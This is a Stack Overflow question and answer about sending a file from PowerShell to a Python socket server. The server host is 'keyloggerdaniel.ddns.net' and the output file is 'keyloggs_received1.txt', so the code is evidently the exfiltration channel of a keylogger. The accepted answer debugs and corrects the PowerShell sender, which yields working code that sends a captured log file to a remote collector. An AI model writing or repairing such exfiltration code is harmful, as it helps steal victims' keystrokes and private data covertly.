1

I'm trying to send a string from powershell to a python server running on an other device. However I always receive an Pipe broken error and I don't know what to do.

enter image description here

Here is my server: It listens for connections, receives messages and adds those to a txt file.

import socket
import threading

HEADER = 64
PORT = 1337
SERVER = 'keyloggerdaniel.ddns.net'
ADDR = (SERVER, PORT)
FORMAT = 'utf-8'
DISCONNECT_MESSAGE = "!DISCONNECT"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
server.listen(5)

def handle_client(conn, addr):
    print(f"[NEW CONNECTION] {addr} connected.")
    filename = "keyloggs_received1.txt"
    file = open(filename, 'wb')
    connected = True
    while connected:
        msg_length = conn.recv(HEADER)
        if msg_length:
            msg_length = int(msg_length)
            msg = conn.recv(msg_length)
            #file_data = conn.recv(1024)
            file.write(msg)
            file.close()
        conn.send("Msg received".encode(FORMAT))
    print("File has been received successfully.")
    conn.close()

def start():
    server.listen()
    print(f"[LISTENING] Server is listening on {SERVER}")
    while True:
        conn, addr = server.accept()
        thread = threading.Thread(target=handle_client, args=(conn, addr))
        thread.start()
        print(f"[ACTIVE CONNECTIONS] {threading.activeCount() - 1}")

print("[STARTING] server is starting...")
start()

Here is my powershell code: I have the string on this pc and want to send it to the server:

$file = "C:\Users\Daniel Maderner\log.txt"
$file_Content =Get-Content $file
$socket = New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337);
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$writer.WriteLine($file_Content);
$socket.close()
mklement0
  • 382,024
  • 64
  • 607
  • 775
  • Your receive loop (in `handle_client`) in your python server is wrong, buggy, incorrect. To see why, read [this answer](https://stackoverflow.com/a/43420503/238704). – President James K. Polk Sep 29 '21 at 00:16

1 Answers1

3

I don't know whether that solves all problems, but try the following PowerShell code:

$socket = $stream = $null
$file = "C:\Users\Daniel Maderner\log.txt"
try {
  # Read the file as a *single, multi-line string*, with -Raw
  $file_Content = Get-Content -Raw $file
  $socket = New-Object net.sockets.tcpclient keyloggerdaniel.ddns.net, 1337
  $stream = $socket.GetStream()
  $writer = New-Object System.IO.StreamWriter $stream
  # Use .Write(), not .WriteLine() to write the file content as-is
  # to the stream.
  $writer.Write($file_Content)
}
catch { throw }
finally { if ($writer) { $writer.close() }; if ($socket) { $socket.close() } }

On the Python side, conn.send("Msg received".encode(FORMAT)) is trying to send data back to the sender, which breaks, because your PowerShell code has by then already closed the socket - you could choose to ignore this error in your Python code.


As for what you tried:

  • Get-Content without the -Raw switch returns an array of lines, whereas System.IO.StreamWriter.WriteLine() expects a single string.

    • If you accidentally pass an array of strings, PowerShell unhelpfully calls the .ToString() method on the array, which results in verbatim string System.Object[] (try ('foo', 'bar').ToString())

    • Therefore, use -Raw in order to read the entire file content as a single, (typically) multi-line string, which you can then write to the stream with .Write() (no need for .WriteLine(), as that would append an additional newline).

  • Your code uses pseudo method syntax with New-Object, e.g.
    New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337).

    • Instead, use argument-mode syntax e.g.,
      New-Object net.sockets.tcpclient keyloggerdaniel.ddns.net, 1337

    • PowerShell cmdlets, scripts and functions are invoked like shell commands, not like methods. That is, no parentheses around the argument list, and whitespace-separated arguments (, constructs an array as a single argument, as needed, for the (positionally implied) -ArgumentList parameter). See this answer

    • Alternatively, you can use method syntax if you switch to the static ::new() method that is available on type literals in PowerShell v5+:

      [net.sockets.tcpclient]::new('keyloggerdaniel.ddns.net',1337)
      
  • Finally, note that ; is only ever needed to separate PowerShell statements if they are placed on a single line; you never need to explicitly terminate a given statement.

mklement0
  • 382,024
  • 64
  • 607
  • 775